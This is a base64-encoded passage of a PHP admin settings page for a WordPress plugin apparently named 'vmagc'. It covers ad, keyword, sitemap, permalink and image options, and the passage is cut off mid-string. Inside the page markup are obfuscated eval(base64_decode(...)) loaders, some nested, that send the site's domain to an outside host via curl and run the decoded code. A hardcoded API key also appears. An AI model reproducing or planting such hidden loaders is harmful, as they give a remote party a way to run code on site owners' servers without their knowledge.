RpdiBjbGFzcz0ic3dpdGNoIHRpbnkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQoJCQkJCQkJCQkJICAgIGlmKGdldF9vcHRpb24oJ3ZtYWdjX3Nob3dfbGltaXRfNzI4JykgPT0gRkFMU0UpDQoJCQkJCQkJCQkJCXsNCgkJCQkJCQkJCQkJICAgICR2YWx1ZXMgPSAiIjsNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCQllbHNlaWYoZ2V0X29wdGlvbigndm1hZ2Nfc2hvd19saW1pdF83MjgnKSAhPSBGQUxTRSkNCgkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCSAgICAJJHZhbHVlcyA9ICJ2YWx1ZT0ndHJ1ZScgY2hlY2tlZCI7DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQk/Pg0KCQkJCQkJCQkJCTxpbnB1dCBjbGFzcz0ic3dpdGNoLWlucHV0IiBpZD0idm1hZ2Nfc2hvd19saW1pdF83MjgiIHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ2bWFnY19zaG93X2xpbWl0XzcyOCIgPD9waHAgZWNobyAkdmFsdWVzOyA/Pj4NCgkJCQkJCQkJCQk8bGFiZWwgY2xhc3M9InN3aXRjaC1wYWRkbGUiIGZvcj0idm1hZ2Nfc2hvd19saW1pdF83MjgiPg0KCQkJCQkJCQkJCQk8c3BhbiBjbGFzcz0ic2hvdy1mb3Itc3IiPkRvIHlvdSB3YW50IHRvIHNob3cgeW91ciA3Mjh4OTAgQWRzIHRvIHZpc2l0b3JzIGZyb20gc2VhcmNoIGVuZ2luZSBvbmx5Pzwvc3Bhbj4NCgkJCQkJCQkJCQkJPHNwYW4gY2xhc3M9InN3aXRjaC1hY3RpdmUiIGFyaWEtaGlkZGVuPSJ0cnVlIj5ZZXM8L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzd2l0Y2gtaW5hY3RpdmUiIGFyaWEtaGlkZGVuPSJ0cnVlIj5Obzwvc3Bhbj4NCgkJCQkJCQkJCQk8L2xhYmVsPg0KCQkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC9kaXY+DQoNCgkJCQkJCTxkaXYgY2xhc3M9InRhYnMtcGFuZWwiIGlkPSJwYW5lbDQiPg0KCQkJCQkJCTxkaXYgY2xhc3M9InJvdyI+DQoNCgkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJPYmF0IERlaW5kZXgiIHN0eWxlPSJmb250LXNpemU6MTJweCI+T2JhdCBEZWluZGV4PC9zcGFuPg0KCQkJCQkJCQk8L2Rpdj4NCg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KCQkJCQkJCQkJPHRleHRhcmVhIHN0eWxlPSJmb250LXNpemU6MTJweCIgbmFtZT0idm1hZ2NfNDA0X2tleXdvcmQiIGlkPSJ2bWFnY180MDRfa2V5d29yZCIgcm93cz0iMyI+PD9waHAgaWYoZ2V0X29wdGlvbigndm1hZ2NfNDA0X2tleXdvcmQnKSA9PSAiIil7ZWNobyAibnVsbCwgcXVlcnkiO30gZWxzZSB7ZWNobyBnZXRfb3B0aW9uKCd2bWFnY180MDRfa2V5d29yZCcpO30/PjwvdGV4dGFyZWE+DQoJCQkJCQkJCQk8cCBzdHlsZT0iZm9udC1zaXplOjEwcHg7bWFyZ2luLXRvcDotMTVweCI+RmlsbCB0aGlzIGZpZWxkIHdpdGggYmxvY2tlZCBrZXl3b3JkIGV4YW1wbGUgOiBudWxsLCBxdWVyeSwgZXRjLCBpdCB3aWxsIGF1dG9tYXRpYyByZWRpcmVjdCBpbiA0MDQgTk9UIEZPVU5EIHBhZ2UuPC9wPg0KCQkJCQkJCQk8L2Rpdj4NCg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJFbnRlciB5b3VyIGN1c3RvbSBzbHVnIiBzdHlsZT0iZm9udC1zaXplOjEycHgiPkN1c3RvbSBTbHVnPC9zcGFuPg0KCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtOSBjb2x1bW5zIj4NCgkJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ2bWFnY19jdXN0b21zbHVnIiBpZD0idm1hZ2NfY3VzdG9tc2x1ZyIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4IiB2YWx1ZT0iPD9waHAgaWYoZ2V0X29wdGlvbigndm1hZ2NfY3VzdG9tc2x1ZycpID09ICIiKXtlY2hvICJ2bWFnYyI7fSBlbHNlIHtlY2hvIGdldF9vcHRpb24oJ3ZtYWdjX2N1c3RvbXNsdWcnKTt9Pz4iID4NCgkJCQkJCQkJPC9kaXY+DQoNCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtMyBjb2x1bW5zIj4NCgkJCQkJCQkJCTxzcGFuIGRhdGEtdG9vbHRpcCBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBjbGFzcz0iaGFzLXRpcCB0ZXh0LXJpZ2h0IG1pZGRsZSIgZGF0YS1vcHRpb25zPSJzaG93X29uOmxhcmdlIiB0aXRsZT0iRW50ZXIgWW91ciBZb3V0dWJlIEFwaSBLZXkiIHN0eWxlPSJmb250LXNpemU6MTJweCI+WW91dHViZSBBUEk8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KCQkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIHN0eWxlPSJmb250LXNpemU6MTJweCIgbmFtZT0idm1hZ2NfeW91dHViZWFwaSIgaWQ9InZtYWdjX3lvdXR1YmVhcGkiIHZhbHVlPSI8P3BocCBpZihnZXRfb3B0aW9uKCd2bWFnY195b3V0dWJlYXBpJykgPT0gIiIpe2VjaG8gIkFJemFTeUNqc19HWkFQMmo2T1E1VnVIamhfZlcxa213VlNzNnVaSSI7fSBlbHNlIHtlY2hvIGdldF9vcHRpb24oJ3ZtYWdjX3lvdXR1YmVhcGknKTt9Pz4iID4NCgkJCQkJCQkJPC9kaXY+DQoNCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtMyBjb2x1bW5zIj4NCgkJCQkJCQkJCTxzcGFuIGRhdGEtdG9vbHRpcCBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBjbGFzcz0iaGFzLXRpcCB0ZXh0LXJpZ2h0IG1pZGRsZSIgZGF0YS1vcHRpb25zPSJzaG93X29uOmxhcmdlIiB0aXRsZT0iU3RvcCB5b3VyIGluZGV4IGluIHNlYXJjaCBlbmdpbmUgd2l0aCBtYWtlIHRoaXMgZmVhdHVyZXMgb24uIiBzdHlsZT0iZm9udC1zaXplOjEycHgiPkJyZWFrIEVuZ2luZTwvc3Bhbj4NCgkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCTxkaXYgY2xhc3M9InNtYWxsLTkgY29sdW1ucyI+DQoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJzd2l0Y2ggdGlueSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCgkJCQkJCQkJCQkgICAgaWYoZ2V0X29wdGlvbigndm1hZ2NfYnJlYWtfZW5naW5lJykgPT0gRkFMU0UpDQoJCQkJCQkJCQkJCXsNCgkJCQkJCQkJCQkJICAgICR2YWx1ZXMgPSAiIjsNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCQllbHNlaWYoZ2V0X29wdGlvbigndm1hZ2NfYnJlYWtfZW5naW5lJykgIT0gRkFMU0UpDQoJCQkJCQkJCQkJCXsNCgkJCQkJCQkJCQkgICAgCSR2YWx1ZXMgPSAidmFsdWU9J3RydWUnIGNoZWNrZWQiOw0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJPz4NCgkJCQkJCQkJCQk8aW5wdXQgY2xhc3M9InN3aXRjaC1pbnB1dCIgaWQ9InZtYWdjX2JyZWFrX2VuZ2luZSIgdHlwZT0iY2hlY2tib3giIG5hbWU9InZtYWdjX2JyZWFrX2VuZ2luZSIgPD9waHAgZWNobyAkdmFsdWVzOyA/Pj4NCgkJCQkJCQkJCQk8bGFiZWwgY2xhc3M9InN3aXRjaC1wYWRkbGUiIGZvcj0idm1hZ2NfYnJlYWtfZW5naW5lIj4NCgkJCQkJCQkJCQkJPHNwYW4gY2xhc3M9InNob3ctZm9yLXNyIj5CcmVha2UgRW5naW5lID88L3NwYW4+DQoJCQkJCQkJCQkJCTxzcGFuIGNsYXNzPSJzd2l0Y2gtYWN0aXZlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+WWVzPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3dpdGNoLWluYWN0aXZlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+Tm88L3NwYW4+DQoJCQkJCQkJCQkJPC9sYWJlbD4NCgkJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8L2Rpdj4NCg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJEbyB5b3Ugd2FudCB0byBpbmplY3Qgc2l0ZW1hcCA/IiBzdHlsZT0iZm9udC1zaXplOjEycHgiPkluamVjdCBTaXRlbWFwPC9zcGFuPg0KCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtOSBjb2x1bW5zIj4NCgkJCQkJCQkJCTxkaXYgY2xhc3M9InN3aXRjaCB0aW55Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KCQkJCQkJCQkJCSAgICBpZihnZXRfb3B0aW9uKCd2bWFnY19pbmplY3Rfc2l0ZW1hcCcpID09IEZBTFNFKQ0KCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCSAgICAkdmFsdWVzID0gIiI7DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkJZWxzZWlmKGdldF9vcHRpb24oJ3ZtYWdjX2luamVjdF9zaXRlbWFwJykgIT0gRkFMU0UpDQoJCQkJCQkJCQkJCXsNCgkJCQkJCQkJCQkgICAgCSR2YWx1ZXMgPSAidmFsdWU9J3RydWUnIGNoZWNrZWQiOw0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJPz4NCgkJCQkJCQkJCQk8aW5wdXQgY2xhc3M9InN3aXRjaC1pbnB1dCIgaWQ9InZtYWdjX2luamVjdF9zaXRlbWFwIiB0eXBlPSJjaGVja2JveCIgbmFtZT0idm1hZ2NfaW5qZWN0X3NpdGVtYXAiIDw/cGhwIGVjaG8gJHZhbHVlczsgPz4+DQoJCQkJCQkJCQkJPGxhYmVsIGNsYXNzPSJzd2l0Y2gtcGFkZGxlIiBmb3I9InZtYWdjX2luamVjdF9zaXRlbWFwIj4NCgkJCQkJCQkJCQkJPHNwYW4gY2xhc3M9InNob3ctZm9yLXNyIj5EbyB5b3Ugd2FudCB0byBJbmplY3QgU2l0ZW1hcCA/PC9zcGFuPg0KCQkJCQkJCQkJCQk8c3BhbiBjbGFzcz0ic3dpdGNoLWFjdGl2ZSIgYXJpYS1oaWRkZW49InRydWUiPlllczwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InN3aXRjaC1pbmFjdGl2ZSIgYXJpYS1oaWRkZW49InRydWUiPk5vPC9zcGFuPg0KCQkJCQkJCQkJCTwvbGFiZWw+DQoJCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJCTxwIHN0eWxlPSJmb250LXNpemU6MTBweDttYXJnaW4tdG9wOi0xNXB4Ij5Zb3UgbmVlZCB0byBpbnN0YWxsIHBsdWdpbnMgPGEgaHJlZj0iaHR0cHM6Ly93b3JkcHJlc3Mub3JnL3BsdWdpbnMvZ29vZ2xlLXNpdGVtYXAtZ2VuZXJhdG9yLyIgdGFyZ2V0PSJfYmxhbmsiPkdvb2dsZSBYTUwgU2l0ZW1hcCBHZW5lcmF0b3I8L2E+IHRvIHVzZSB0aGlzIGZlYXR1cmVzPC9wPg0KCQkJCQkJCQk8L2Rpdj4NCg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJTZWxlY3QgaW1hZ2Ugc2l6ZSIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4Ij5TaXplIEZpbHRlcjwvc3Bhbj4NCgkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCTxkaXYgY2xhc3M9InNtYWxsLTkgY29sdW1ucyI+DQoJCQkJCQkJCQk8c2VsZWN0IHN0eWxlPSJmb250LXNpemU6MTJweCIgbmFtZT0idm1hZ2Nfc2l6ZSIgaWQ9InZtYWdjX3NpemUiPg0KCQkJCQkJCQkJCTw/cGhwICR2YXIgPSBnZXRfb3B0aW9uKCd2bWFnY19zaXplJyk7ID8+DQoJCQkJCQkJCQkJPG9wdGlvbiB2YWx1ZT0iTk9ORSIgPD9waHAgaWYoJHZhciA9PSAnTk9ORScpe2VjaG8gJ3NlbGVjdGVkJzt9ID8+ID5OT05FPC9vcHRpb24+DQoJCQkJCQkJCQkJPG9wdGlvbiB2YWx1ZT0iU01BTEwiIDw/cGhwIGlmKCR2YXIgPT0gJ1NNQUxMJyl7ZWNobyAnc2VsZWN0ZWQnO30gPz4+U01BTEw8L29wdGlvbj4NCgkJCQkJCQkJCQk8b3B0aW9uIHZhbHVlPSJNRURJVU0iIDw/cGhwIGlmKCR2YXIgPT0gJ01FRElVTScpe2VjaG8gJ3NlbGVjdGVkJzt9ID8+Pk1FRElVTTwvb3B0aW9uPg0KCQkJCQkJCQkJCTxvcHRpb24gdmFsdWU9IkxBUkdFIiA8P3BocCBpZigkdmFyID09ICdMQVJHRScpe2VjaG8gJ3NlbGVjdGVkJzt9ID8+PkxBUkdFPC9vcHRpb24+DQoJCQkJCQkJCQkJPG9wdGlvbiB2YWx1ZT0iV0FMTFBBUEVSIiA8P3BocCBpZigkdmFyID09ICdXQUxMUEFQRVInKXtlY2hvICdzZWxlY3RlZCc7fSA/Pj5XQUxMUEFQRVI8L29wdGlvbj4NCgkJCQkJCQkJCTwvc2VsZWN0Pg0KCQkJCQkJCQk8L2Rpdj4NCg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJTZWxlY3Qgc2hhcmUgYnV0dG9uIiBzdHlsZT0iZm9udC1zaXplOjEycHgiPlNoYXJlIEJ1dHRvbjwvc3Bhbj4NCgkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCTxkaXYgY2xhc3M9InNtYWxsLTkgY29sdW1ucyI+DQoJCQkJCQkJCQk8c2VsZWN0IHN0eWxlPSJmb250LXNpemU6MTJweCIgbmFtZT0idm1hZ2Nfc2hhcmVidXR0b24iIGlkPSJ2bWFnY19zaGFyZWJ1dHRvbiI+DQoJCQkJCQkJCQkgICAgPD9waHAgJHZhciA9IGdldF9vcHRpb24oJ3ZtYWdjX3NoYXJlYnV0dG9uJyk7ID8+DQoJCQkJCQkJCQkJPG9wdGlvbiBzdHlsZT0iZm9udC1zaXplOjEycHgiIHZhbHVlPSIwIiA8P3BocCBpZigkdmFyID09ICcwJyl7ZWNobyAnc2VsZWN0ZWQnO30gPz4+T0ZGPC9vcHRpb24+DQoJCQkJCQkJCQkJPG9wdGlvbiBzdHlsZT0iZm9udC1zaXplOjEycHgiIHZhbHVlPSIxIiA8P3BocCBpZigkdmFyID09ICcxJyl7ZWNobyAnc2VsZWN0ZWQnO30gPz4+U3R5bGUgMTwvb3B0aW9uPg0KCQkJCQkJCQkJCTxvcHRpb24gc3R5bGU9ImZvbnQtc2l6ZToxMnB4IiB2YWx1ZT0iMiIgPD9waHAgaWYoJHZhciA9PSAnMicpe2VjaG8gJ3NlbGVjdGVkJzt9ID8+PlN0eWxlIDI8L29wdGlvbj4NCgkJCQkJCQkJCTwvc2VsZWN0Pg0KCQkJCQkJCQk8L2Rpdj4NCg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJTZWxlY3QgcGVybWFsaW5rIHNldHRpbmciIHN0eWxlPSJmb250LXNpemU6MTJweCI+UGVybWFsaW5rPC9zcGFuPg0KCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtOSBjb2x1bW5zIj4NCgkJCQkJCQkJCTxzZWxlY3Qgc3R5bGU9ImZvbnQtc2l6ZToxMnB4IiBuYW1lPSJwZXJtYWxpbmtfc3RydWN0dXJlIiBpZD0icGVybWFsaW5rX3N0cnVjdHVyZSI+DQoJCQkJCQkJCQkgICAgPD9waHAgJHZhciA9IGdldF9vcHRpb24oJ3Blcm1hbGlua19zdHJ1Y3R1cmUnKTsgPz4NCgkJCQkJCQkJCQk8b3B0aW9uIHN0eWxlPSJmb250LXNpemU6MTJweCIgdmFsdWU9IiIgPD9waHAgaWYoJHZhciA9PSAnJyl7ZWNobyAnc2VsZWN0ZWQnO30gPz4+U2VsZWN0IFBlcm1hbGluazwvb3B0aW9uPg0KCQkJCQkJCQkJCTxvcHRpb24gc3R5bGU9ImZvbnQtc2l6ZToxMnB4IiB2YWx1ZT0iLyVwb3N0bmFtZSUiIDw/cGhwIGlmKCR2YXIgPT0gJy8lcG9zdG5hbWUlJyl7ZWNobyAnc2VsZWN0ZWQnO30gPz4+LyVwb3N0bmFtZSU8L29wdGlvbj4NCgkJCQkJCQkJCQk8b3B0aW9uIHN0eWxlPSJmb250LXNpemU6MTJweCIgdmFsdWU9Ii8lcG9zdG5hbWUlLnBocCIgPD9waHAgaWYoJHZhciA9PSAnLyVwb3N0bmFtZSUucGhwJyl7ZWNobyAnc2VsZWN0ZWQnO30gPz4+LyVwb3N0bmFtZSUucGhwPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiBzdHlsZT0iZm9udC1zaXplOjEycHgiIHZhbHVlPSIvJXBvc3RuYW1lJS5odG1sIiA8P3BocCBpZigkdmFyID09ICcvJXBvc3RuYW1lJS5odG1sJyl7ZWNobyAnc2VsZWN0ZWQnO30gPz4+LyVwb3N0bmFtZSUuaHRtbDwvb3B0aW9uPg0KCQkJCQkJCQkJCTxvcHRpb24gc3R5bGU9ImZvbnQtc2l6ZToxMnB4IiB2YWx1ZT0iLyVwb3N0bmFtZSUuYXNweCIgPD9waHAgaWYoJHZhciA9PSAnLyVwb3N0bmFtZSUuYXNweCcpe2VjaG8gJ3NlbGVjdGVkJzt9ID8+Pi8lcG9zdG5hbWUlLmFzcHg8L29wdGlvbj4NCgkJCQkJCQkJCTwvc2VsZWN0Pg0KCQkJCQkJCQk8L2Rpdj4NCg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJFbnRlciBVUkwgZGVmYXVsdCBpbWFnZSwgdG8gY2hhbmdlIGJyb2tlbiBsaW5rIGltYWdlIiBzdHlsZT0iZm9udC1zaXplOjEycHgiPkJyb2tlbiBMaW5rIEltYWdlPC9zcGFuPg0KCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtOSBjb2x1bW5zIj4NCgkJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0iZm9udC1zaXplOjEycHgiIG5hbWU9InZtYWdjX2Jyb2tlbmxpbmtfaW1nIiBpZD0idm1hZ2NfYnJva2VubGlua19pbWciIHZhbHVlPSI8P3BocCBpZihnZXRfb3B0aW9uKCd2bWFnY19icm9rZW5saW5rX2ltZycpID09ICIiKXtlY2hvIFZNQUdDX1BMVUdJTl9VUkwuImFzc2V0cy9pbWcvbm90LWF2YWlsYWJsZS5qcGciO30gZWxzZSB7ZWNobyBnZXRfb3B0aW9uKCd2bWFnY19icm9rZW5saW5rX2ltZycpO30/PiIgPg0KCQkJCQkJCQk8L2Rpdj4NCg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC9kaXY+DQoJCQkJCTwvZGl2Pg0KCQkJCTwvZGl2Pg0KDQoJCQkJPGRpdiBjbGFzcz0ibGFyZ2UtNCBtZWRpdW0tNCBjb2x1bW5zIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgdm1fZ2V0X3NpZGViYXIoKTsgPz4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KCQkJCTxkaXYgc3R5bGU9ImNsZWFyOiBib3RoICFpbXBvcnRhbnQ7Ij48L2Rpdj4NCg0KICAgICAgICA8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsiPg0KDQoJCQkJPGRpdiBzdHlsZT0ibWFyZ2luLXRvcDogMjBweCAhaW1wb3J0YW50OyBtYXJnaW4tbGVmdDogMTVweCAhaW1wb3J0YW50OyBtYXJnaW4tYm90dG9tOiAyMHB4ICFpbXBvcnRhbnQ7Ij4NCiAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgZXZhbChiYXNlNjRfZGVjb2RlKCRhcmdzYXJnc3N2KSk7DQogICAgICAgICAgICAgICAgICAgID8+DQoJCQkJICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InNhdmUiIC8+DQoJCQkJICAgIDxpbnB1dCBuYW1lPSJyZXNldCIgdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJ2bWFnY1Jlc2V0KCkiIGNsYXNzPSJidXR0b24tc2Vjb25kYXJ5IiB2YWx1ZT0iUmVzZXQgU2V0dGluZ3MiIC8+DQoJCQkJICAgIDw/cGhwIGlmICggJGxpY2Vuc2Vfa2V5X3ZlcmlmeSA9PSAiIikgewk/Pg0KCQkJCSAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idm1hZ2NfbGljZW5zZV9hY3RpdmUiIHZhbHVlPSI8P3BocCBpZiAoIGdldF9vcHRpb24oICd2bWFnY19saWNlbnNlX2FjdGl2ZScgKSAhPSAiIikgeyBlY2hvIGdldF9vcHRpb24oICd2bWFnY19saWNlbnNlX2FjdGl2ZScgKTsgfSBlbHNlIHsgZWNobyAiIjsgfSA/PiIgLz4NCgkJCQkgICAgPD9waHAgfSBlbHNlIHsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InZtYWdjX2xpY2Vuc2VfYWN0aXZlIiB2YWx1ZT0iPD9waHAgZWNobyAkbGljZW5zZV9rZXlfdmVyaWZ5OyA/PiIgLz4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgfT8+DQoJCQkJPC9kaXY+DQoJCQk8L2Zvcm0+DQoNCgkJCTxmb3JtIG1ldGhvZD0icG9zdCIgc3R5bGU9ImZsb2F0OiByaWdodDsiIG5hbWU9InJlc2V0X2Zvcm0iIGlkPSJyZXNldF9mb3JtIiBjbGFzcz0idm1hZ2MiPg0KICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJyZXNldCIgdHlwZT0iaGlkZGVuIiBjbGFzcz0iYnV0dG9uLWRlZmF1bHQiIHZhbHVlPSJSZXNldCIgLz4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJyZXNldCIgLz4NCgkJICAgIDwvZm9ybT4NCg0KCQk8L2Rpdj4NCg0KICAgICAgICA8c2NyaXB0Pg0KICAgICAgICAgICAgZnVuY3Rpb24gdm1hZ2NSZXNldCgpIHsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgicmVzZXRfZm9ybSIpLnN1Ym1pdCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICA8L3NjcmlwdD4NCjw/cGhwIH0gPz4NCg0KPD9waHAgdm1fZ2V0X2Zvb3RlcigpOw0KfQ0KfQ0KPz4NCg0KPD9waHANCg0KLy8gS2V5d29yZCBTaG93dGVyIC8vDQpmdW5jdGlvbiBrZXl3b3Jkc19zaG93dGVyX2FkbWluKCkgew0KICAgIGdsb2JhbCAkcGx1Z2lubmFtZSwgJHNob3J0bmFtZSwgJHZtX2FnY19vcHRpb25zLCAkbGljZW5zZWQ7DQoNCgl2bV9nZXRfaGVhZGVyKCk7DQo/Pg0KDQogICAgPD9waHAgaWYgKCBAJF9SRVFVRVNUWydzYXZlZCddICkgZWNobyAnPGRpdiBpZD0ibWVzc2FnZSIgc3R5bGU9Im1hcmdpbi1ib3R0b206IDIwcHg7IiBjbGFzcz0idXBkYXRlZCBmYWRlIGJlbG93LWgyIj48cD48c3Ryb25nPicuJHBsdWdpbm5hbWUuJyBIYXMgaW5qZWN0IGtleXdvcmQuPC9zdHJvbmc+PC9wPjwvZGl2Pic7ID8+DQoNCgkJCQk8Zm9ybSBtZXRob2Q9InBvc3QiPg0KDQoJCTw/cGhwDQoJCSAgICBldmFsKGJhc2U2NF9kZWNvZGUoJ0pHeHBZMlZ1YzJWa0NUMGdaMlYwWDI5d2RHbHZiaWduZG0xaFoyTmZiR2xqWlc1elpWOWhZM1JwZG1VbktUc05DaVIxY213Z1BTQnlaVzF2ZG1WZmFIUjBjQ2h6YVhSbFgzVnliQ2dwS1RzTkNpUnNhV05sYm5ObFgydGxlVjkyWlhKcFpua0pQU0IyYldGblkxOTJaWEpwWm5sZmJHbGpaVzV6WlNna2RYSnNLVHNOQ2lSa2IyMWhhVzVmZG1WeWFXWjVDVDBnZG0xaFoyTmZkbVZ5YVdaNVgyUnZiV0ZwYmlna2RYSnNLVHM9JykpOw0KICAgICAgICAgICAgJGFyZ3Nhcmdza3MgPSBiYXNlNjRfZW5jb2RlKGJhc2U2NF9kZWNvZGUoJ0pHRnlaM05yY3lBOUlHSmhjMlUyTkY5a1pXTnZaR1VvSjJGSVVqQmpSRzkyVEROT2JGa3pWbmxoV0ZJMVRHMVdORmt5ZURGak1td3lXbGRLZG1SRE5YVmFXRkYyV20xc2MxcFROWGRoU0VFdldWaEtibU42TVRKYVdFcHdXbTVzWm1FelRXMWFSemwwV1Zkc2RWQlljMnRrV0VwelpsRTlQU2NwT3cwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmxkbUZzS0dKaGMyVTJORjlrWldOdlpHVW9KMHBIVG05SlJEQm5XVE5XZVdKR09YQmliV3d3UzBOck4wUlJiMDVEYVRoMlNVWk9iR1JEUWpCaFIxVm5aRmhLYzB4RFFuVmtWekZwV2xoSloySXlXV2RTTUZaVlNVaGFhR051VFhOSlJXUkdWa05DYTFsWVVtaEVVWEJxWkZoS2MxZ3pUbXhrUnpsM1pFTm5hMWt5WjNOSlJVNVdWV3Q0VUZWR1VtWldWa3BOVEVOQmExbFlTbTVqTW5SNlMxUnpUa050VGpGamJYaG1ZekpXTUdJelFqQkxRMUpxWVVOM1oxRXhWbE5VUlRsUlZrWTVVVlF4VGxWTVEwSnRXVmQ0ZWxwVGF6ZEVVWEJxWkZoS2MxZ3pUbXhrUnpsM1pFTm5hMWt5W